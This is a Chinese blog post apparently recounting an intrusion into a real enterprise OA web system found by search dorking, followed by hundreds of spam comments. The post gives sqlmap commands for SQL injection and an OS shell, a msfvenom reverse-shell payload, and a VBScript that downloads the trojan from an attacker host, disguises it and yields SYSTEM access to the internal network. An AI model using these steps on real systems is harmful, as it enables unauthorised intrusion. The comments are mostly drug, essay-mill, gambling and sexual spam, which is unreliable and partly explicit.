简单的漏洞,破坏性影响。
0x01 发现漏洞
七月正值暑假,闲暇时光在百度上inurl一番,找到了一个古老的企业OA系统
IP站点,没有域名,扫过一眼,.NET流行时代的普遍漏洞浮现在脑海里——SQL注入
在用户名里输入admin’,不负期望地报了错
很明显,前后端都没有对用户的输入进行过滤,直接将’带入了SQL语句进行。初步判断,此OA系统存在SQL注入漏洞。
0x02 漏洞验证
打开BurpSuite,设置好浏览器代理,抓下HTTP请求,一气呵成。
问题参数为 txtLogin=admin%27
可将整个请求复制到 test.txt,使用sqlmap -r 来注入
sqlmap -u http://x.x.x.x/xx.aspx --forms
至此,可以确认存在 error-based、stack quires和time-based三个类型的漏洞
0x03 判断数据库用户的权限
发现SQL注入后,首先要判断权限,高权限的注入可以为后续渗透省下很大功夫
sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba
非常nice,再次不负期望地返回了DBA权限
输入以下命令,获得一个shell
sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell
NT/SYSTEM权限,时隔两个多月,复现有误,不予贴图
0x04 反弹shell 深入内网
生成一个shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe
由于环境艰难,不能直接上传文件,我选择了用vbs脚本来下载木马到服务器
代码如下:
Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
'发送请求
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
'等待3秒,等文件下载
wscript.sleep 3000
aGet.Write(post.responseBody)'写数据
aGet.SaveToFile "shell.exe",2
用echo命令缓慢地写完了vbs脚本之后,顺利运行,下载了木马
更改名字,移动到IE安装目录进行伪装
start iee.exe
运行木马
metasploit成功收到了SYSTEM权限的shell
该主机拥有内网IP,存在内网,可以互通,并且该主机作为中央数据库
此内网主机皆为VMware虚拟机
0x05 结束测试,提交漏洞
本次渗透测试成功拿到最高权限, 到此为止,不再深入。
随着攻击与防御技术的彼此攀升,程序员的安全意识逐渐提高,SQL也越来越少。
但不少粗糙的程序和古老的系统仍然存在此漏洞,此类漏洞解决方法简单,只用对用户输入参数稍加处理即可。
很好!
好好学习,明年叫你用Linux建博客
牛逼,说的很有用处
哈哈哈,这场捧的
wow 勉为其难的踩一个叭
我打你哦
这个码打得好啊
哈哈,还好吧
Appreciate you sharing, great blog article. Fantastic.
Very good blog post.Really thank you! Will read on…
Fantastic article post.Thanks Again.
Great blog post.Really looking forward to read more. Really Great.
Very neat article.Thanks Again. Really Cool.
Very informative blog post.Really looking forward to read more. Really Great.
Thank you ever so for you post. Awesome.
Very neat blog post.Really thank you! Great.
Great blog article.Really looking forward to read more. Keep writing.
Great blog.Much thanks again.
I have been reading out a few of your articles and i must say pretty nice stuff. I will make sure to bookmark your blog.
Great blog article.Much thanks again.
You write Formidable articles, keep up good work.
Awesome blog post.Much thanks again. Keep writing.
Enjoyed every bit of your article post.Really looking forward to read more. Keep writing.
Appreciate you sharing, great blog.Really thank you! Much obliged.
Very informative article post.Really looking forward to read more. Will read on…
Awesome blog post.Thanks Again. Awesome.
wow, awesome article. Want more.
Very good blog.Really thank you! Cool.
I really like and appreciate your post.Thanks Again. Awesome.
I really like and appreciate your post.Really looking forward to read more.
Fantastic blog.Thanks Again. Much obliged.
I love your blog. It looks every informative.
Thanks for ones marvelous posting! I truly enjoyed reading it, you will be a great author.
I will make certain to bookmark your blog and may come back later in life.
I want to encourage you to continue your great work,
have a nice evening!
I really like and appreciate your article post.Really looking forward to read more. Really Cool.
Makes sense to me.
Thank you for your blog. Keep writing.
Great post.Really looking forward to read more. Will read on…
Thank you for your article post.Thanks Again. Great.
Awesome blog post. Fantastic.
Thank you for your blog.Thanks Again. Awesome.
Very good article post. Want more.
I used to be able to find good information from your blog posts.
Awesome blog post.Really thank you! Fantastic.
Very informative blog post.Really thank you! Really Great.
ivermectin for sale humans ivermectin human
I imagine so. Very good stuff, I agree totally.
How do I subscribe to your blog? Thanks for your help.
What a great article.. i subscribed btw!
free bitcoins verdienenBitcoin for live cd11e72
Absolutely written written content , regards for information .
Very good info. Lucky me I found your site by chance (stumbleupon). I have bookmarked it for later.
I couldn’t refrain from commenting. Exceptionally well written!
Well, I don’t know if that’s going to work for me, but definitely worked for you! 🙂 Excellent post!
tinder sign up , browse tinder for freehow to use tinder
Have you given any kind of thought at all with converting your current web-site into French? I know a couple of of translaters here that will would certainly help you do it for no cost if you want to get in touch with me personally.
gnc ed pills – ed pills otc roman ed pills
pay someone to write an essaywriting a narrative essay about yourselfeasy essay writing
zithromax capsules australia: zithromax for sale – zithromax antibiotic
Appreciate it. A lot of content. custom paper writing service reviews write your essay
Looking forward to reading more. Great blog.Really thank you! Really Great.
สล็อตออนไลน์คนไหนกันได้ทดลองเล่นเป็นต้องชอบอกชอบใจ เนื่องจากลักษณะของเกมง่าย แต่ที่สำคัญไปกว่านั้นเป็นทำเงินได้มากถึง 400-500 เท่าของทุนเลย ไม่เพียงเท่านั้น UFABET ยังเพิ่มรางวัล รวมทั้งแจ็คพอตเพื่อเพิ่มโอกาสให้ผู้เล่นได้เงินง่ายมากยิ่งขึ้นอีกด้วย
I used to be able to find good advice from your blog articles.
Hello
I was able to find good information from your blog posts.
I encountered your site after doing a search for new contesting using Google, and decided to stick around and read more of your articles. Thanks for posting, I have your site bookmarked now.
proair versus ventolin ventolin 108 mcg how to use albuterol without a nebulizer how often to use ventolin inhaler
I really liked your blog.Much thanks again. Much obliged.
ivermectin 1 – iverceitin.com generic stromectol
Awesome blog.Thanks Again. Really Cool.
I will right away take hold of your rss as I can not in finding your e-mail subscription link or newsletter service. Do you’ve any? Kindly let me know in order that I may just subscribe. Thanks.
You said that exceptionally well.personal essay college application college essay online custom writing services
Wow, great article post.Much thanks again. Much obliged.
Fantastic blog article. Want more.
Very informative post.Really looking forward to read more. Really Great.
I loved your blog post.Thanks Again. Much obliged.
Fantastic blog article.Really thank you! Keep writing.
ترجمه زبان تخصصی حسابداری جلد دوم عبدالرضا تالانه
Very neat blog. Great.
Nicely put, Thanks a lot!professional essay writer hello kitty writing paper academic freelance writers
help writing papers for college — academicwriting need help writing a paper
Enjoyed every bit of your blog article.Thanks Again. Fantastic.
We at present do not very personal an automobile however anytime I purchase it in future it all definitely undoubtedly be a Ford style!
ivermectin for swine cattle ivermectin for humans
Thank you for your post.Much thanks again. Will read on…
Very informative post.Really looking forward to read more. Great.
I don’t normally comment on blogs.. But nice post! I just bookmarked your site
Good Morning everybody , can anyone recommend where I can purchase Zesty Lemon CBD Tincture By Og Labs?
I’ll right away grasp your rss feed as I can not to find youre-mail subscription link or newsletter service.Do you have any? Kindly let me recognize so that I may subscribe.Thanks.
Enjoyed every bit of your blog post. Want more.
I can’t go into details, but I have to say its a good article!
Say, you got a nice post.Really looking forward to read more. Great.
Thank you ever so for you blog article. Awesome.
I could not refrain from commenting. Exceptionally well written!
Looking forward to reading more. Great article post. Great.
Wow, great blog post. Keep writing.
I really liked your blog post.Thanks Again. Want more.
achei muito bacana este post e vou tentar adaptar em meunegócio . Você me permite indicar este link para minha base de clientes viaemail ?
I loved your blog. Want more.
Really informative blog post.Thanks Again. Keep writing.
stromectol for human – stromectol human stromectol tablets for sale
wow, awesome blog article.Really looking forward to read more. Really Cool.
Awesome blog article.Really looking forward to read more. Really Cool.
local personalslocal girla near me personals
Very neat post.Really looking forward to read more. Great.
Great article post.Really looking forward to read more. Cool.Loading…
Enjoyed every bit of your blog.Really looking forward to read more. Really Cool.
Thank you for your article.Really looking forward to read more. Will read on…
ivermectin injectable dosage for goats orally ivermectin drench for goats
Very informative blog post.Really thank you! Cool.
medicines for ed erectile dysfunction medications – ed medicines
Awesome blog article.Much thanks again. Want more.
Really informative blog article.Much thanks again. Want more.
Appreciate you sharing, great post.Much thanks again. Cool.
יש דברים שרופא חייב לבדוק – כמו איך המטופלת מגיבה כשהוא מזיין אותה חזק בחדר הטיפוליםשירותי ליווי
Thanks for finally writing about > 블록체인 스마트폰 ‘HTC 엑소더스’, 암호화폐지갑‧크립토키티 지원 – Blood News
order modafinil order modafinil – provigil medication
Very neat blog article.Much thanks again. Cool.
Very neat article post.Thanks Again. Want more.
A big thank you for your article post. Will read on…Loading…
La narrativa de john lennon \”Hey Bulldog\” Bow-Wow
Great blog post.Thanks Again. Will read on…
Fantastic blog article.Much thanks again. Awesome.
Enjoyed every bit of your blog post.Thanks Again. Fantastic.
A round of applause for your blog article.Thanks Again. Fantastic.
Awesome content and thanks for sharing it. I’ll return to see more.
Say, you got a nice blog article. Really Great.
Utterly indited articles , regards for information.
Enjoyed every bit of your article.Much thanks again. Really Great.
Awesome blog article.Much thanks again. Much obliged.
Wow, great post.Thanks Again. Awesome.
How can I get more helpful information? I love sucking dick btw hmu
Really informative blog.Really thank you! Awesome.
Very neat article. Fantastic.
wow, awesome blog article.Much thanks again. Really Great.
wow, awesome blog post.Much thanks again. Really Great.
Thank you ever so for you article post.Really thank you!
Really informative post.Really looking forward to read more. Want more.
Appreciate you sharing, great blog article.Thanks Again.
singapore news north koreachannel news asia
Cool that really helps, thank you.
ivermectin for head lice dosing bret weinstein ivermectin
A round of applause for your article post.Really thank you! Great.
bookmarked!!, I really like your website.
Looking forward to reading more. Great blog article.
Hello, I enjoy reading all of your article. I wanted to write a little comment to support you.|
Looking forward to reading more. Great article.Really looking forward to read more. Fantastic.
Wow, great article. Want more.
Thanks very interesting blog!|
Very good article post. Want more.
Enjoyed every bit of your article post.Much thanks again. Great.
Appreciate you sharing, great post.Much thanks again. Really Great.
I really liked your article.Really looking forward to read more. Really Cool.
A big thank you for your blog article.Really thank you! Really Great.
Really informative post. Want more.
Muchos Gracias for your blog post.Much thanks again.
Awesome blog post.Thanks Again. Want more.
Wow, great blog post.Really thank you! Great.
Wow, great blog article.Much thanks again. Will read on…
Fantastic post.Really looking forward to read more. Really Great.
I really like and appreciate your blog post.Much thanks again. Really Great.
فروش دستگاه هایفوتراپی
Very informative blog.Really thank you! Great.
Great blog.Much thanks again. Really Great.
I was able to find good information from your blog posts.
A round of applause for your article.Thanks Again. Want more.
Very informative blog.Really thank you! Much obliged.
A round of applause for your blog post.Really thank you! Fantastic.
A big thank you for your blog article.Thanks Again. Great.
Great blog post. Great.
Thank you for your article post.Really thank you! Want more.
Wow, great post.Really thank you! Cool.
A round of applause for your blog. Cool.
Very neat blog article.Thanks Again. Much obliged.
I used to be able to find good info from your articles.
Awesome article post.Thanks Again. Keep writing.
Wow, great article post.Really looking forward to read more. Great.
Awesome post.
I could not refrain from commenting. Exceptionally
well written!
یوپی اس
Wow, great blog article.Thanks Again. Cool.
Thanks for sharing your thoughts about ceria777 slot.
Regards
I was able to find good advice from your blog posts.
I will immediately clutch your rss as I can not in finding
your e-mail subscription hyperlink or e-newsletter service.
Do you’ve any? Please let me realize in order that
I may subscribe. Thanks.
Say, you got a nice article post.Much thanks again. Really Cool.
Very neat blog.Really looking forward to read more. Will read on…
Great article.Much thanks again. Really Cool.
Really informative blog post.Much thanks again. Really Cool.
Appreciate you sharing, great article post.Really thank you! Great.
Muchos Gracias for your post.Really thank you! Great.
Thank you ever so for you post.Really looking forward to read more. Much obliged.
I used to be able to find good information from
your blog posts.
خرید یو پی اس
Very neat blog.Much thanks again. Want more.
Muchos Gracias for your post.Thanks Again. Cool.
Very neat blog article. Fantastic.
Appreciate you sharing, great article.Really thank you! Fantastic.
Muchos Gracias for your blog.Much thanks again. Will read on…
Say, you got a nice post.Really looking forward to read more. Much obliged.
A round of applause for your blog.Much thanks again. Much obliged.
Very nice post. I just stumbled upon your weblog and wanted to say that I’ve
truly enjoyed browsing your blog posts. After all I will
be subscribing to your feed and I hope you write again soon!
Great article.Really thank you! Great.
Muchos Gracias for your blog post.Thanks Again. Fantastic.
Greate post. Keep writing such kind of info on your blog. Im really impressed by it.
A big thank you for your blog.Thanks Again. Great.
A big thank you for your blog article.Really looking forward to read more. Fantastic.
A big thank you for your post.Really looking forward to read more. Keep writing.
Very neat blog article.Really thank you! Cool.
Appreciate you sharing, great blog article.Thanks Again. Awesome.
A big thank you for your blog.Much thanks again. Want more.
Thanks for sharing your thoughts about Live Draw Sgp. Regards
A big thank you for your article post.Much thanks again. Great.
Greate post. Keep posting such kind of information on your site. Im really impressed by it.
Viagra
Наша группа квалифицированных мастеров завершена предоставить вам прогрессивные системы утепления, которые не только обеспечивают надежную защиту от заморозков, но и подарят вашему дому оригинальный вид.
Мы занимаемся с современными составами, ассигнуруя прочный период службы и превосходные итоги. Изолирование фронтонов – это не только сокращение расходов на отоплении, но и трепет о окружающей среде. Энергоэффективные технологические решения, какие мы претворяем в жизнь, способствуют не только своему, но и сохранению природы.
Самое центральное: [url=https://ppu-prof.ru/]Утепление дома цена за квадратный метр работа[/url] у нас стартует всего от 1250 рублей за м2! Это доступное решение, которое превратит ваш помещение в истинный тепловой локал с минимальными издержками.
Наши проекты – это не только изоляция, это разработка пространства, в где каждый элемент преломляет ваш персональный образ. Мы примем все ваши пожелания, чтобы переделать ваш дом еще еще более комфортным и привлекательным.
Подробнее на [url=https://ppu-prof.ru/]https://ppu-prof.ru/[/url]
Не откладывайте труды о своем обители на потом! Обращайтесь к исполнителям, и мы сделаем ваш обиталище не только уютнее, но и модернизированным. Заинтересовались? Подробнее о наших услугах вы можете узнать на портале. Добро пожаловать в сферу комфорта и качественной работы.
I was able to find good info from your articles.|